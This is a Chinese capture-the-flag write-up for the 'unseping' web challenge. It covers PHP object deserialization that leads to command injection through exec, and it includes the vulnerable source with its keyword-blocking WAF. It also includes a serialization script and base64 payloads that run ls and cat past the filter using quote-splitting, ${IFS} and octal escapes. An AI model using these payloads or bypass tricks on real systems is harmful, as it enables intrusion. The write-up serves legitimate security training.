113,【5】 功防世界 web unseping

进入靶场

代码审计

php 复制代码
<?php
// 高亮显示当前 PHP 文件的源代码,方便开发者查看代码结构和内容
highlight_file(__FILE__);

// 定义一个名为 ease 的类
class ease {
    // 私有属性 $method,用于存储要调用的方法名
    private $method;
    // 私有属性 $args,用于存储调用方法时传递的参数
    private $args;

    // 构造函数,在创建类的对象时自动调用
    // 接收两个参数:$method 表示要调用的方法名,$args 表示调用方法时传递的参数数组
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct() {
        // 检查 $this->method 是否在数组 ["ping"] 中
        // 如果存在,则调用 call_user_func_array 函数来动态调用对象的指定方法,并传递相应的参数
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    // 定义一个名为 ping 的方法,用于执行系统命令
    // 接收一个参数 $ip,通常是一个 IP 地址
    function ping($ip) {
        // 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中
        exec($ip, $result);
        // 使用 var_dump 函数输出 $result 数组的详细信息
        var_dump($result);
    }

    // 定义一个名为 waf 的方法,用于进行简单的 Web 应用防火墙(WAF)过滤
    // 接收一个参数 $str,表示要过滤的字符串
    function waf($str) {
        // 使用 preg_match_all 函数进行正则表达式匹配
        // 正则表达式 "/(\||&|;| |\/|cat|flag|tac|php|ls)/" 用于匹配一些危险字符和关键字
        // 如果没有匹配到任何内容,则返回原始字符串
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            // 如果匹配到了危险字符或关键字,则输出 "don't hack" 提示信息
            echo "don't hack";
        }
    }

    // __wakeup 魔术方法,在对象被反序列化时自动调用
    function __wakeup() {
        // 遍历 $this->args 数组,对每个元素应用 waf 方法进行过滤
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }
}

// 从 POST 请求中获取名为 'ctf' 的参数值,并赋值给 $ctf 变量
// @ 符号用于抑制可能出现的错误信息
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 Base64 解码,然后进行反序列化操作
// @ 符号同样用于抑制可能出现的错误信息
@unserialize(base64_decode($ctf));
?>

需要通过 POST 请求传递一个经过 Base64 编码的序列化对象给参数ctf

1,

php 复制代码
<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
?>

别问为什么不直接在php代码里转换为base64,我的php运行工具不太行

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:2:"ls";}}

复制代码

Tzo0OiJlYXNlIjoyOntzOjEyOiJlYXNlbWV0aG9kIjtzOjQ6InBpbmciO3M6MTA6ImVhc2VhcmdzIjthOjE6e2k6MDtzOjI6ImxzIjt9fQ==

2,

得知了有个flag_1s_here文件,查看一下

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

3,

查看flag_831b69012c67b35f.php

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

cyberpeace{a54274ce8db23eaf3f848c4099bc22eb}

相关推荐
newxtc1 小时前
【山西政务服务网-注册_登录安全分析报告】
selenium·安全·yolo·政务·安全爆破
white-persist1 小时前
什么是网络安全,网络空间安全有哪些安全?
服务器·网络·安全·web安全·网络安全·系统安全·安全架构
virelin_Y.lin1 小时前
系统与网络安全------弹性交换网络(4)
网络·安全·web安全·mstp
wanhengidc1 小时前
云手机和云游戏的不同之处
运维·服务器·安全·游戏·智能手机
德福危险7 小时前
密码枚举的艺术:靶机练习之midwest
服务器·安全·web安全
cdprinter9 小时前
信刻——安全生产音视频录音录像自动刻录备份归档管理系统
安全·自动化·音视频
码界奇点10 小时前
Django视图从基础到高级的全面解析
数据库·django·sqlite·web·python3.11
嘉里蓝海11 小时前
橙色风暴中的安全守卫者——嘉顺达蓝海的危险品运输启示录
安全
Blossom.11812 小时前
把AI“刻”进玻璃:基于飞秒激光量子缺陷的随机数生成器与边缘安全实战
人工智能·python·单片机·深度学习·神经网络·安全·机器学习
wanhengidc13 小时前
云手机的安全保护措施有哪些?
运维·服务器·安全·游戏·智能手机·云计算